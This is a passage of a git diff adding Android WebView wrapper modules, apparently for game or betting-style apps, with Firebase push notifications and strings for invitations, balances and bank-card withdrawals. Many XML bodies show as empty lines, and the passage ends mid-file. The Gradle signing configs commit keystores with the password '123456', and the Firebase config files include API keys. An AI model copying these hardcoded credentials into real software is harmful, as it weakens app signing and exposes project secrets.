请选择开户行名称 + 银行户口: + 请输入银行卡户口 + (注:请先输入国家区号再选择开户行名称!) + 余额: %s + 总收益: %s + 金额: %s + 请输入提现金额 + 提现申请已提交 + + + + + + + + + + + + + + + + + + + + + + + \ No newline at end of file diff --git a/honor88/src/main/res/values/themes.xml b/honor88/src/main/res/values/themes.xml new file mode 100644 index 0000000..efa2168 --- /dev/null +++ b/honor88/src/main/res/values/themes.xml @@ -0,0 +1,90 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + \ No newline at end of file diff --git a/honor88/src/main/res/xml/app_updater_paths.xml b/honor88/src/main/res/xml/app_updater_paths.xml new file mode 100644 index 0000000..1254450 --- /dev/null +++ b/honor88/src/main/res/xml/app_updater_paths.xml @@ -0,0 +1,10 @@ + + + + + + + + + + \ No newline at end of file diff --git a/honor88/src/main/res/xml/network_security_config.xml b/honor88/src/main/res/xml/network_security_config.xml new file mode 100644 index 0000000..dca93c0 --- /dev/null +++ b/honor88/src/main/res/xml/network_security_config.xml @@ -0,0 +1,4 @@ + + + + \ No newline at end of file diff --git a/honor88/src/main/res/xml/provider_paths.xml b/honor88/src/main/res/xml/provider_paths.xml new file mode 100644 index 0000000..c9a897a --- /dev/null +++ b/honor88/src/main/res/xml/provider_paths.xml @@ -0,0 +1,13 @@ + + + + + + + + + + + + \ No newline at end of file diff --git a/honor88/src/test/java/Tptogiar/calculcator/ExampleUnitTest.java b/honor88/src/test/java/Tptogiar/calculcator/ExampleUnitTest.java new file mode 100644 index 0000000..3259554 --- /dev/null +++ b/honor88/src/test/java/Tptogiar/calculcator/ExampleUnitTest.java @@ -0,0 +1,35 @@ +package Tptogiar.calculcator; + +import org.junit.Test; + +import java.util.regex.Matcher; +import java.util.regex.Pattern; + +import static org.junit.Assert.*; + +/** + * Example local unit test, which will execute on the development machine (host). + * + * @see Testing documentation + */ +public class ExampleUnitTest { + @Test + public void addition_isCorrect() { + assertEquals(4, 2 + 2); + } + + @Test + public void TestPattern(){ +// + Pattern compile = Pattern.compile( "^(\\-|\\+)?\\d+(\\.\\d+)?$"); + String a="+45.5"; + boolean matches = compile.matcher(a).matches(); + System.out.println(matches); + String result = compile.matcher(a).replaceAll(""); + System.out.println(result); + + + } + + +} \ No newline at end of file diff --git a/i8sg/.gitignore b/i8sg/.gitignore new file mode 100644 index 0000000..956c004 --- /dev/null +++ b/i8sg/.gitignore @@ -0,0 +1,2 @@ +/build +/release \ No newline at end of file diff --git a/i8sg/build.gradle b/i8sg/build.gradle new file mode 100644 index 0000000..77c732c --- /dev/null +++ b/i8sg/build.gradle @@ -0,0 +1,78 @@ +plugins { + id 'com.android.application' + id 'com.google.gms.google-services' +} + +android { + compileSdkVersion 31 + buildToolsVersion "30.0.3" + defaultConfig { + applicationId "com.web.i8sg" + minSdkVersion 24 + targetSdkVersion 31 + versionCode rootProject.ext.versionCode + versionName rootProject.ext.versionName + testInstrumentationRunner "androidx.test.runner.AndroidJUnitRunner" + } + + signingConfigs { + debug { + storeFile file('i8sg.jks') + storePassword "123456" + keyAlias 'key0' + keyPassword "123456" + } + release { + storeFile file('i8sg.jks') + storePassword "123456" + keyAlias 'key0' + keyPassword "123456" + } + } + + buildTypes { + release { + signingConfig signingConfigs.release + minifyEnabled false + proguardFiles getDefaultProguardFile('proguard-android-optimize.txt'), 'proguard-rules.pro' + } + } + compileOptions { + sourceCompatibility JavaVersion.VERSION_1_8 + targetCompatibility JavaVersion.VERSION_1_8 + } + + applicationVariants.all { variant -> + variant.outputs.all { + def appName = "i8sg" + def outputDir = new File(rootProject.ext.outputPath) + // 创建输出目录 + outputDir.mkdirs() + def outputFileName = "${appName}.apk" + // 设置输出文件名 + setOutputFileName(outputFileName) + // 计算新的输出文件 + def newOutputFile = new File(outputDir, outputFileName) + // 如果新的输出目录不存在,则创建它 + newOutputFile.parentFile.mkdirs() + // 在构建完成后将 APK 复制到新位置 + variant.assemble.doLast { + try { + java.nio.file.Files.copy( + outputFile.toPath(), + newOutputFile.toPath(), + java.nio.file.StandardCopyOption.REPLACE_EXISTING + ) + println "Success to copy APK !!!" + } catch (java.io.IOException e) { + println "Failed to copy APK: ${e.message}" + } + } + } + } + +} + +dependencies { + implementation project(path: ':base_no_all') +} \ No newline at end of file diff --git a/i8sg/google-services.json b/i8sg/google-services.json new file mode 100644 index 0000000..69bf9ba --- /dev/null +++ b/i8sg/google-services.json @@ -0,0 +1,29 @@ +{ + "project_info": { + "project_number": "975183413122", + "project_id": "i8sg-a5f49", + "storage_bucket": "i8sg-a5f49.firebasestorage.app" + }, + "client": [ + { + "client_info": { + "mobilesdk_app_id": "1:975183413122:android:c21a5fdf3f469fa87b199b", + "android_client_info": { + "package_name": "com.web.i8sg" + } + }, + "oauth_client": [], + "api_key": [ + { + "current_key": "AIzaSyDfB_laKdhMmKgfmhczDcl6DohKrnyeZSo" + } + ], + "services": { + "appinvite_service": { + "other_platform_oauth_client": [] + } + } + } + ], + "configuration_version": "1" +} \ No newline at end of file diff --git a/i8sg/i8sg.jks b/i8sg/i8sg.jks new file mode 100644 index 0000000..b864fca Binary files /dev/null and b/i8sg/i8sg.jks differ diff --git a/i8sg/ppn.jks b/i8sg/ppn.jks new file mode 100644 index 0000000..5898029 Binary files /dev/null and b/i8sg/ppn.jks differ diff --git a/i8sg/proguard-rules.pro b/i8sg/proguard-rules.pro new file mode 100644 index 0000000..107b7ee --- /dev/null +++ b/i8sg/proguard-rules.pro @@ -0,0 +1,32 @@ +# Add project specific ProGuard rules here. +# You can control the set of applied configuration files using the +# proguardFiles setting in build.gradle. +# +# For more details, see +# http://developer.android.com/guide/developing/tools/proguard.html + +# If your project uses WebView with JS, uncomment the following +# and specify the fully qualified class name to the JavaScript interface +# class: +#-keepclassmembers class fqcn.of.javascript.interface.for.webview { +# public *; +#} + +# Uncomment this to preserve the line number information for +# debugging stack traces. +#-keepattributes SourceFile,LineNumberTable + +# If you keep the line number information, uncomment this to +# hide the original source file name. +#-renamesourcefileattribute SourceFile + +-dontwarn dalvik.** +-dontwarn com.tencent.smtt.** + +-keep class com.tencent.smtt.** { + *; +} + +-keep class com.tencent.tbs.** { + *; +} \ No newline at end of file diff --git a/i8sg/src/androidTest/java/Tptogiar/calculcator/ExampleInstrumentedTest.java b/i8sg/src/androidTest/java/Tptogiar/calculcator/ExampleInstrumentedTest.java new file mode 100644 index 0000000..44b9f39 --- /dev/null +++ b/i8sg/src/androidTest/java/Tptogiar/calculcator/ExampleInstrumentedTest.java @@ -0,0 +1,26 @@ +package Tptogiar.calculcator; + +import android.content.Context; + +import androidx.test.platform.app.InstrumentationRegistry; +import androidx.test.ext.junit.runners.AndroidJUnit4; + +import org.junit.Test; +import org.junit.runner.RunWith; + +import static org.junit.Assert.*; + +/** + * Instrumented test, which will execute on an Android device. + * + * @see Testing documentation + */ +@RunWith(AndroidJUnit4.class) +public class ExampleInstrumentedTest { + @Test + public void useAppContext() { + // Context of the app under test. + Context appContext = InstrumentationRegistry.getInstrumentation().getTargetContext(); + assertEquals("Tptogiar.calculcator", appContext.getPackageName()); + } +} \ No newline at end of file diff --git a/i8sg/src/main/AndroidManifest.xml b/i8sg/src/main/AndroidManifest.xml new file mode 100644 index 0000000..4ab82a7 --- /dev/null +++ b/i8sg/src/main/AndroidManifest.xml @@ -0,0 +1,113 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + \ No newline at end of file diff --git a/i8sg/src/main/java/com/web/i8sg/MainActivity.java b/i8sg/src/main/java/com/web/i8sg/MainActivity.java new file mode 100644 index 0000000..08821fc --- /dev/null +++ b/i8sg/src/main/java/com/web/i8sg/MainActivity.java @@ -0,0 +1,44 @@ +package com.web.i8sg; + + +import android.content.pm.PackageInfo; +import android.content.pm.PackageManager; +import android.os.Bundle; +import com.web.base.MainActivity2; +import com.google.firebase.messaging.FirebaseMessaging; + +public class MainActivity extends MainActivity2 { + + @Override + protected void onCreate(Bundle savedInstanceState) { + userId = 151; + saveInt(MainActivity.this,"user_code",userId); + saveInt(MainActivity.this,"version_code",getVersion()); + com.web.base.MainActivity.saveString(this, "base_url","https://www.i8sg1.com/"); + //网页的底部NavigationBar颜色 + com.web.base.MainActivity.saveString(this, "style_color", "#fec12c"); + //页面的大背景颜色 + com.web.base.MainActivity.saveString(this, "windows_color", "#0e7aba"); + //任务栏的文字颜色 0 黑 1白 默认黑 + saveInt(MainActivity.this,"is_white",1); + super.onCreate(savedInstanceState); + //用于修改大背景渐变色 不设置 大背景就是 windows_color 的颜色 + setBackDrawables(R.drawable.big_bg); + setImageView(false); + //订阅主题 + FirebaseMessaging.getInstance().subscribeToTopic("demo") + .addOnCompleteListener(task -> { + }); + } + + public int getVersion(){ + try { + PackageManager packageManager = getPackageManager(); + PackageInfo packageInfo = packageManager.getPackageInfo(getPackageName(), 0); + int versionCode = packageInfo.versionCode; // 版本码 + return versionCode; + } catch (PackageManager.NameNotFoundException e) { + return 0; + } + } +} diff --git a/i8sg/src/main/java/com/web/i8sg/MyFirebaseMessageingService.java b/i8sg/src/main/java/com/web/i8sg/MyFirebaseMessageingService.java new file mode 100644 index 0000000..ad14819 --- /dev/null +++ b/i8sg/src/main/java/com/web/i8sg/MyFirebaseMessageingService.java @@ -0,0 +1,125 @@ +package com.web.i8sg; + +import android.app.NotificationChannel; +import android.app.NotificationManager; +import android.app.PendingIntent; +import android.content.ComponentName; +import android.content.Context; +import android.content.Intent; +import android.os.Build; +import androidx.annotation.NonNull; +import androidx.core.app.NotificationCompat; +import com.google.firebase.messaging.FirebaseMessagingService; +import com.google.firebase.messaging.RemoteMessage; +import com.google.gson.Gson; +import com.web.base.GsonUtils; +import com.web.base.MessageInfo; +import java.util.Map; +import java.util.Random; + +public class MyFirebaseMessageingService extends FirebaseMessagingService { + + public MyFirebaseMessageingService() { + } + + @Override + public void onMessageReceived(@NonNull RemoteMessage remoteMessage) { + super.onMessageReceived(remoteMessage); + Map serviceData = remoteMessage.getData(); //后台推送数据 + if (serviceData != null && serviceData.containsKey("message")) { + String value = serviceData.get("message"); + Gson gson = new Gson(); + MessageInfo messageInfo = gson.fromJson(value, MessageInfo.class); + showNotification(messageInfo); + } else { + //收到通知 创建notify + if (remoteMessage.getNotification() != null) { + showNotification(remoteMessage.getNotification().getTitle(), remoteMessage.getNotification().getBody()); + } + } + } + + private void showNotification(MessageInfo messageInfo) { + Intent notifyIntent = new Intent(this, MainActivity.class); + if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.CUPCAKE) { + ComponentName launchComponent = null; + launchComponent = getApplication() + .getPackageManager() + .getLaunchIntentForPackage(getApplication().getPackageName()) + .getComponent(); + notifyIntent.setComponent(launchComponent); + } + notifyIntent.addFlags(Intent.FLAG_ACTIVITY_CLEAR_TOP | Intent.FLAG_ACTIVITY_SINGLE_TOP); + notifyIntent.setAction(Intent.ACTION_VIEW); + notifyIntent.addFlags(Intent.FLAG_ACTIVITY_NEW_TASK); // 必须 + notifyIntent.putExtra("message", messageInfo); + PendingIntent pendingIntent = PendingIntent.getActivity(this, new Random().nextInt(10000), notifyIntent, PendingIntent.FLAG_IMMUTABLE); + NotificationManager notificationManager = (NotificationManager) getSystemService(Context.NOTIFICATION_SERVICE); + NotificationChannel channelwinway = null; + NotificationCompat.Builder notificationBuilder = null; + if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.O) { + channelwinway = new NotificationChannel(getString(com.web.base.R.string.app_name), "notify", NotificationManager.IMPORTANCE_DEFAULT); + channelwinway.enableLights(true); + channelwinway.enableVibration(true); + notificationManager.createNotificationChannel(channelwinway); + notificationBuilder = new NotificationCompat.Builder(this, channelwinway.getId()) + .setSmallIcon(R.mipmap.app_logo) + .setContentTitle(messageInfo.getTitle()) + .setContentText(messageInfo.getContent()) + .setAutoCancel(true) + .setContentIntent(pendingIntent); + } else { + notificationBuilder = new NotificationCompat.Builder(this, getString(com.web.base.R.string.app_name)) + .setSmallIcon(R.mipmap.app_logo) + .setContentTitle(messageInfo.getTitle()) + .setContentText(messageInfo.getContent()) + .setAutoCancel(true) + .setContentIntent(pendingIntent); + } + notificationManager.notify(0, notificationBuilder.build()); + } + + private void showNotification(String title, String body) { + Intent notifyIntent = new Intent(this, MainActivity.class); + if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.CUPCAKE) { + ComponentName launchComponent = null; + launchComponent = getApplication() + .getPackageManager() + .getLaunchIntentForPackage(getApplication().getPackageName()) + .getComponent(); + notifyIntent.setComponent(launchComponent); + } + notifyIntent.putExtra("message", body); + notifyIntent.addFlags(Intent.FLAG_ACTIVITY_CLEAR_TOP | Intent.FLAG_ACTIVITY_SINGLE_TOP); + notifyIntent.setAction(Intent.ACTION_VIEW); + notifyIntent.addFlags(Intent.FLAG_ACTIVITY_NEW_TASK); // 必须 + PendingIntent pendingIntent = PendingIntent.getActivity(this, new Random().nextInt(10000), notifyIntent, PendingIntent.FLAG_IMMUTABLE); + NotificationManager notificationManager = (NotificationManager) getSystemService(Context.NOTIFICATION_SERVICE); + NotificationChannel channelwinway = null; + NotificationCompat.Builder notificationBuilder = null; + MessageInfo messageInfo = GsonUtils.getObjFromJSON(body, MessageInfo.class); + if (messageInfo != null) { + body = messageInfo.getContent(); + } + if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.O) { + channelwinway = new NotificationChannel(getString(com.web.base.R.string.app_name), "notify", NotificationManager.IMPORTANCE_DEFAULT); + channelwinway.enableLights(true); + channelwinway.enableVibration(true); + notificationManager.createNotificationChannel(channelwinway); + notificationBuilder = new NotificationCompat.Builder(this, channelwinway.getId()) + .setSmallIcon(R.mipmap.app_logo) + .setContentTitle(title) + .setContentText(body) + .setAutoCancel(true) + .setContentIntent(pendingIntent); + } else { + notificationBuilder = new NotificationCompat.Builder(this, getString(com.web.base.R.string.app_name)) + .setSmallIcon(R.mipmap.app_logo) + .setContentTitle(title) + .setContentText(body) + .setAutoCancel(true) + .setContentIntent(pendingIntent); + } + notificationManager.notify(0, notificationBuilder.build()); + } +} diff --git a/i8sg/src/main/java/com/web/i8sg/WebApplication.java b/i8sg/src/main/java/com/web/i8sg/WebApplication.java new file mode 100644 index 0000000..c4f1fcb --- /dev/null +++ b/i8sg/src/main/java/com/web/i8sg/WebApplication.java @@ -0,0 +1,35 @@ +package com.web.i8sg; + +import android.app.Application; +import android.content.Context; +import com.tencent.smtt.export.external.TbsCoreSettings; +import com.tencent.smtt.sdk.QbSdk; +import java.util.HashMap; + +public class WebApplication extends Application { + + + public static Context application; + @Override + public void onCreate() { + super.onCreate(); +// 设置开启优化方案 + application = this; + HashMap map = new HashMap(); + map.put(TbsCoreSettings.TBS_SETTINGS_USE_SPEEDY_CLASSLOADER, true); + map.put(TbsCoreSettings.TBS_SETTINGS_USE_DEXLOADER_SERVICE, true); + QbSdk.initTbsSettings(map); + QbSdk.initX5Environment(this, new QbSdk.PreInitCallback() { + @Override + public void onCoreInitFinished() { + + } + + @Override + public void onViewInitFinished(boolean b) { + + } + }); + QbSdk.setDownloadWithoutWifi(true); + } +} diff --git a/i8sg/src/main/res/drawable-anydpi/ic_action_back.xml b/i8sg/src/main/res/drawable-anydpi/ic_action_back.xml new file mode 100644 index 0000000..013ab07 --- /dev/null +++ b/i8sg/src/main/res/drawable-anydpi/ic_action_back.xml @@ -0,0 +1,11 @@ + + + diff --git a/i8sg/src/main/res/drawable-hdpi/ic_action_back.png b/i8sg/src/main/res/drawable-hdpi/ic_action_back.png new file mode 100644 index 0000000..1560c04 Binary files /dev/null and b/i8sg/src/main/res/drawable-hdpi/ic_action_back.png differ diff --git a/i8sg/src/main/res/drawable-mdpi/ic_action_back.png b/i8sg/src/main/res/drawable-mdpi/ic_action_back.png new file mode 100644 index 0000000..d5841d2 Binary files /dev/null and b/i8sg/src/main/res/drawable-mdpi/ic_action_back.png differ diff --git a/i8sg/src/main/res/drawable-v24/ic_launcher_foreground.xml b/i8sg/src/main/res/drawable-v24/ic_launcher_foreground.xml new file mode 100644 index 0000000..2b068d1 --- /dev/null +++ b/i8sg/src/main/res/drawable-v24/ic_launcher_foreground.xml @@ -0,0 +1,30 @@ + + + + + + + + + + + \ No newline at end of file diff --git a/i8sg/src/main/res/drawable-xhdpi/ic_action_back.png b/i8sg/src/main/res/drawable-xhdpi/ic_action_back.png new file mode 100644 index 0000000..5c14e41 Binary files /dev/null and b/i8sg/src/main/res/drawable-xhdpi/ic_action_back.png differ diff --git a/i8sg/src/main/res/drawable-xxhdpi/ic_action_back.png b/i8sg/src/main/res/drawable-xxhdpi/ic_action_back.png new file mode 100644 index 0000000..0516d08 Binary files /dev/null and b/i8sg/src/main/res/drawable-xxhdpi/ic_action_back.png differ diff --git a/i8sg/src/main/res/drawable/big_bg.xml b/i8sg/src/main/res/drawable/big_bg.xml new file mode 100644 index 0000000..d35bcd9 --- /dev/null +++ b/i8sg/src/main/res/drawable/big_bg.xml @@ -0,0 +1,8 @@ + + + + \ No newline at end of file diff --git a/i8sg/src/main/res/drawable/ic_launcher_background.xml b/i8sg/src/main/res/drawable/ic_launcher_background.xml new file mode 100644 index 0000000..07d5da9 --- /dev/null +++ b/i8sg/src/main/res/drawable/ic_launcher_background.xml @@ -0,0 +1,170 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + diff --git a/i8sg/src/main/res/drawable/input_bg.xml b/i8sg/src/main/res/drawable/input_bg.xml new file mode 100644 index 0000000..4e895aa --- /dev/null +++ b/i8sg/src/main/res/drawable/input_bg.xml @@ -0,0 +1,20 @@ + + + + + + + + + + + + + + + + + + diff --git a/i8sg/src/main/res/drawable/pass_word_bg.xml b/i8sg/src/main/res/drawable/pass_word_bg.xml new file mode 100644 index 0000000..2724e60 --- /dev/null +++ b/i8sg/src/main/res/drawable/pass_word_bg.xml @@ -0,0 +1,28 @@ + + + + + + + + + + + + + + + + + + diff --git a/i8sg/src/main/res/drawable/pass_word_bg1.xml b/i8sg/src/main/res/drawable/pass_word_bg1.xml new file mode 100644 index 0000000..d10d780 --- /dev/null +++ b/i8sg/src/main/res/drawable/pass_word_bg1.xml @@ -0,0 +1,23 @@ + + + + + + \ No newline at end of file diff --git a/i8sg/src/main/res/drawable/pass_word_bg2.xml b/i8sg/src/main/res/drawable/pass_word_bg2.xml new file mode 100644 index 0000000..916d99c --- /dev/null +++ b/i8sg/src/main/res/drawable/pass_word_bg2.xml @@ -0,0 +1,23 @@ + + + + + + \ No newline at end of file diff --git a/i8sg/src/main/res/drawable/shape_btn_bg.xml b/i8sg/src/main/res/drawable/shape_btn_bg.xml new file mode 100644 index 0000000..af87a0d --- /dev/null +++ b/i8sg/src/main/res/drawable/shape_btn_bg.xml @@ -0,0 +1,5 @@ + + + + + \ No newline at end of file diff --git a/i8sg/src/main/res/drawable/shape_dialog_bg2.xml b/i8sg/src/main/res/drawable/shape_dialog_bg2.xml new file mode 100644 index 0000000..7837a42 --- /dev/null +++ b/i8sg/src/main/res/drawable/shape_dialog_bg2.xml @@ -0,0 +1,6 @@ + + + + + \ No newline at end of file diff --git a/i8sg/src/main/res/drawable/shape_dialog_bg3.xml b/i8sg/src/main/res/drawable/shape_dialog_bg3.xml new file mode 100644 index 0000000..ca0a18d --- /dev/null +++ b/i8sg/src/main/res/drawable/shape_dialog_bg3.xml @@ -0,0 +1,5 @@ + + + + + \ No newline at end of file diff --git a/i8sg/src/main/res/drawable/shape_dialog_bg_new.xml b/i8sg/src/main/res/drawable/shape_dialog_bg_new.xml new file mode 100644 index 0000000..e96d4e0 --- /dev/null +++ b/i8sg/src/main/res/drawable/shape_dialog_bg_new.xml @@ -0,0 +1,5 @@ + + + + + \ No newline at end of file diff --git a/i8sg/src/main/res/mipmap-anydpi-v26/ic_launcher.xml b/i8sg/src/main/res/mipmap-anydpi-v26/ic_launcher.xml new file mode 100644 index 0000000..eca70cf --- /dev/null +++ b/i8sg/src/main/res/mipmap-anydpi-v26/ic_launcher.xml @@ -0,0 +1,5 @@ + + + + + \ No newline at end of file diff --git a/i8sg/src/main/res/mipmap-anydpi-v26/ic_launcher_round.xml b/i8sg/src/main/res/mipmap-anydpi-v26/ic_launcher_round.xml new file mode 100644 index 0000000..eca70cf --- /dev/null +++ b/i8sg/src/main/res/mipmap-anydpi-v26/ic_launcher_round.xml @@ -0,0 +1,5 @@ + + + + + \ No newline at end of file diff --git a/i8sg/src/main/res/mipmap-hdpi/ic_empty.png b/i8sg/src/main/res/mipmap-hdpi/ic_empty.png new file mode 100644 index 0000000..72473d6 Binary files /dev/null and b/i8sg/src/main/res/mipmap-hdpi/ic_empty.png differ diff --git a/i8sg/src/main/res/mipmap-hdpi/ic_pull_down.png b/i8sg/src/main/res/mipmap-hdpi/ic_pull_down.png new file mode 100644 index 0000000..7dc0ec3 Binary files /dev/null and b/i8sg/src/main/res/mipmap-hdpi/ic_pull_down.png differ diff --git a/i8sg/src/main/res/mipmap-xhdpi/ic_close.png b/i8sg/src/main/res/mipmap-xhdpi/ic_close.png new file mode 100644 index 0000000..c0b0127 Binary files /dev/null and b/i8sg/src/main/res/mipmap-xhdpi/ic_close.png differ diff --git a/i8sg/src/main/res/mipmap-xhdpi/ic_menu.png b/i8sg/src/main/res/mipmap-xhdpi/ic_menu.png new file mode 100644 index 0000000..2b55ec5 Binary files /dev/null and b/i8sg/src/main/res/mipmap-xhdpi/ic_menu.png differ diff --git a/i8sg/src/main/res/mipmap-xxhdpi/app_logo.png b/i8sg/src/main/res/mipmap-xxhdpi/app_logo.png new file mode 100644 index 0000000..ff8aa56 Binary files /dev/null and b/i8sg/src/main/res/mipmap-xxhdpi/app_logo.png differ diff --git a/i8sg/src/main/res/values-en/strings.xml b/i8sg/src/main/res/values-en/strings.xml new file mode 100644 index 0000000..0d60963 --- /dev/null +++ b/i8sg/src/main/res/values-en/strings.xml @@ -0,0 +1,51 @@ + + Please Set Your Password + Cancel + Sure + New Version Update + Next Update + Update Immediately + Click to close notification + Click to re-download + Download failed + Click to install + Download completed + Downloading... + Version update + Downloading game + Getting download data... + Version update + Downloading game + Need to turn on mobile phone notification permission + Exit + Setting + Tip + Please enter the invitation code + My invitation code: + Superior invitation code: + Total number of invites: + App download link: + Share + Check Invitation Records + Invitation Records + Total number of invitees: %d + No Data + Withdrawal Record + Withdrawal Application + Edit Bank Card Information + 60 + Name: + Please enter the bank card name + Bank card account: + Please enter the bank card account + Country: + Please select a country + Bank Name: + Please select a bank name + Note: Please enter the country code before selecting the bank name! + Balance: %s + Total Earnings: %s + Amount: %s + Please enter the withdrawal amount + Withdrawal application has been submitted + \ No newline at end of file diff --git a/i8sg/src/main/res/values-night/themes.xml b/i8sg/src/main/res/values-night/themes.xml new file mode 100644 index 0000000..3b0f1a2 --- /dev/null +++ b/i8sg/src/main/res/values-night/themes.xml @@ -0,0 +1,70 @@ + + + + + + + + + + + + + + + + + + + + + + \ No newline at end of file diff --git a/i8sg/src/main/res/values/colors.xml b/i8sg/src/main/res/values/colors.xml new file mode 100644 index 0000000..7895913 --- /dev/null +++ b/i8sg/src/main/res/values/colors.xml @@ -0,0 +1,18 @@ + + + #FFFFFF + #FFFFFF + #FFFFFF + #FF03DAC5 + #FF018786 + #FF000000 + #FFFFFFFF + #EF4723 + #FFFFFFFF + + #2C2C2E + #FFA722 + #434343 + #BCBCBC + + \ No newline at end of file diff --git a/i8sg/src/main/res/values/strings.xml b/i8sg/src/main/res/values/strings.xml new file mode 100644 index 0000000..8b67a3e --- /dev/null +++ b/i8sg/src/main/res/values/strings.xml @@ -0,0 +1,74 @@ + + I8sg + 请输入6位密码 + 取消 + 确定 + 版本更新 + 下次更新 + 立即更新 + 点击关闭通知 + 点击重新下载 + 下载失败 + 点击安装 + 下载完成 + 正在下载… + 版本更新 + 下载游戏中 + 版本更新 + 下载游戏中 + 正在获取下载数据… + 需要打开手机通知权限 + 退出 + 设置 + 提示 + 请输入邀请码 + 我的邀请码: + 上级邀请码: + 总邀请人数: + 邀请您下载: + 分享 + 查看邀请记录 + 邀请记录 + 总邀请人数: %d + 暂无数据 + 提现记录 + 提现申请 + 编辑银行卡信息 + 86 + 持卡人姓名: + 请输入持卡人姓名 + 国家地区: + 请选择国家地区 + 开户行名称: + 请选择开户行名称 + 银行户口: + 请输入银行卡户口 + (注:请先输入国家区号再选择开户行名称!) + 余额: %s + 总收益: %s + 金额: %s + 请输入提现金额 + 提现申请已提交 + + + + + + + + + + + + + + + + + + + + + + + \ No newline at end of file diff --git a/i8sg/src/main/res/values/themes.xml b/i8sg/src/main/res/values/themes.xml new file mode 100644 index 0000000..e1c80ec --- /dev/null +++ b/i8sg/src/main/res/values/themes.xml @@ -0,0 +1,90 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + \ No newline at end of file diff --git a/i8sg/src/main/res/xml/app_updater_paths.xml b/i8sg/src/main/res/xml/app_updater_paths.xml new file mode 100644 index 0000000..1254450 --- /dev/null +++ b/i8sg/src/main/res/xml/app_updater_paths.xml @@ -0,0 +1,10 @@ + + + + + + + + + + \ No newline at end of file diff --git a/i8sg/src/main/res/xml/network_security_config.xml b/i8sg/src/main/res/xml/network_security_config.xml new file mode 100644 index 0000000..dca93c0 --- /dev/null +++ b/i8sg/src/main/res/xml/network_security_config.xml @@ -0,0 +1,4 @@ + + + + \ No newline at end of file diff --git a/i8sg/src/main/res/xml/provider_paths.xml b/i8sg/src/main/res/xml/provider_paths.xml new file mode 100644 index 0000000..c9a897a --- /dev/null +++ b/i8sg/src/main/res/xml/provider_paths.xml @@ -0,0 +1,13 @@ + + + + + + + + + + + + \ No newline at end of file diff --git a/i8sg/src/test/java/Tptogiar/calculcator/ExampleUnitTest.java b/i8sg/src/test/java/Tptogiar/calculcator/ExampleUnitTest.java new file mode 100644 index 0000000..3259554 --- /dev/null +++ b/i8sg/src/test/java/Tptogiar/calculcator/ExampleUnitTest.java @@ -0,0 +1,35 @@ +package Tptogiar.calculcator; + +import org.junit.Test; + +import java.util.regex.Matcher; +import java.util.regex.Pattern; + +import static org.junit.Assert.*; + +/** + * Example local unit test, which will execute on the development machine (host). + * + * @see Testing documentation + */ +public class ExampleUnitTest { + @Test + public void addition_isCorrect() { + assertEquals(4, 2 + 2); + } + + @Test + public void TestPattern(){ +// + Pattern compile = Pattern.compile( "^(\\-|\\+)?\\d+(\\.\\d+)?$"); + String a="+45.5"; + boolean matches = compile.matcher(a).matches(); + System.out.println(matches); + String result = compile.matcher(a).replaceAll(""); + System.out.println(result); + + + } + + +} \ No newline at end of file diff --git a/jayakaya99/.gitignore b/jayakaya99/.gitignore new file mode 100644 index 0000000..956c004 --- /dev/null +++ b/jayakaya99/.gitignore @@ -0,0 +1,2 @@ +/build +/release \ No newline at end of file diff --git a/jayakaya99/build.gradle b/jayakaya99/build.gradle new file mode 100644 index 0000000..e5fa417 --- /dev/null +++ b/jayakaya99/build.gradle @@ -0,0 +1,78 @@ +plugins { + id 'com.android.application' + id 'com.google.gms.google-services' +} + +android { + compileSdkVersion 31 + buildToolsVersion "30.0.3" + defaultConfig { + applicationId "com.web.jayakaya99" + minSdkVersion 24 + targetSdkVersion 31 + versionCode rootProject.ext.versionCode + versionName rootProject.ext.versionName + testInstrumentationRunner "androidx.test.runner.AndroidJUnitRunner" + } + + signingConfigs { + debug { + storeFile file('sgplay.jks') + storePassword "123456" + keyAlias 'key0' + keyPassword "123456" + } + release { + storeFile file('sgplay.jks') + storePassword "123456" + keyAlias 'key0' + keyPassword "123456" + } + } + + buildTypes { + release { + signingConfig signingConfigs.release + minifyEnabled false + proguardFiles getDefaultProguardFile('proguard-android-optimize.txt'), 'proguard-rules.pro' + } + } + compileOptions { + sourceCompatibility JavaVersion.VERSION_1_8 + targetCompatibility JavaVersion.VERSION_1_8 + } + + applicationVariants.all { variant -> + variant.outputs.all { + def appName = "jayakaya99" + def outputDir = new File(rootProject.ext.outputPath) + // 创建输出目录 + outputDir.mkdirs() + def outputFileName = "${appName}.apk" + // 设置输出文件名 + setOutputFileName(outputFileName) + // 计算新的输出文件 + def newOutputFile = new File(outputDir, outputFileName) + // 如果新的输出目录不存在,则创建它 + newOutputFile.parentFile.mkdirs() + // 在构建完成后将 APK 复制到新位置 + variant.assemble.doLast { + try { + java.nio.file.Files.copy( + outputFile.toPath(), + newOutputFile.toPath(), + java.nio.file.StandardCopyOption.REPLACE_EXISTING + ) + println "Success to copy APK !!!" + } catch (java.io.IOException e) { + println "Failed to copy APK: ${e.message}" + } + } + } + } + +} + +dependencies { + implementation project(path: ':base_no_music') +} \ No newline at end of file diff --git a/jayakaya99/google-services.json b/jayakaya99/google-services.json new file mode 100644 index 0000000..9a2d7b8 --- /dev/null +++ b/jayakaya99/google-services.json @@ -0,0 +1,29 @@ +{ + "project_info": { + "project_number": "180449562270", + "project_id": "jayakaya99-eff50", + "storage_bucket": "jayakaya99-eff50.firebasestorage.app" + }, + "client": [ + { + "client_info": { + "mobilesdk_app_id": "1:180449562270:android:54b8843bc26520e8c5358f", + "android_client_info": { + "package_name": "com.web.jayakaya99" + } + }, + "oauth_client": [], + "api_key": [ + { + "current_key": "AIzaSyD_FBj_ACGHJ9Ry_QItHUSouljw450jjms" + } + ], + "services": { + "appinvite_service": { + "other_platform_oauth_client": [] + } + } + } + ], + "configuration_version": "1" +} \ No newline at end of file diff --git a/jayakaya99/ppn.jks b/jayakaya99/ppn.jks new file mode 100644 index 0000000..5898029 Binary files /dev/null and b/jayakaya99/ppn.jks differ diff --git a/jayakaya99/proguard-rules.pro b/jayakaya99/proguard-rules.pro new file mode 100644 index 0000000..107b7ee --- /dev/null +++ b/jayakaya99/proguard-rules.pro @@ -0,0 +1,32 @@ +# Add project specific 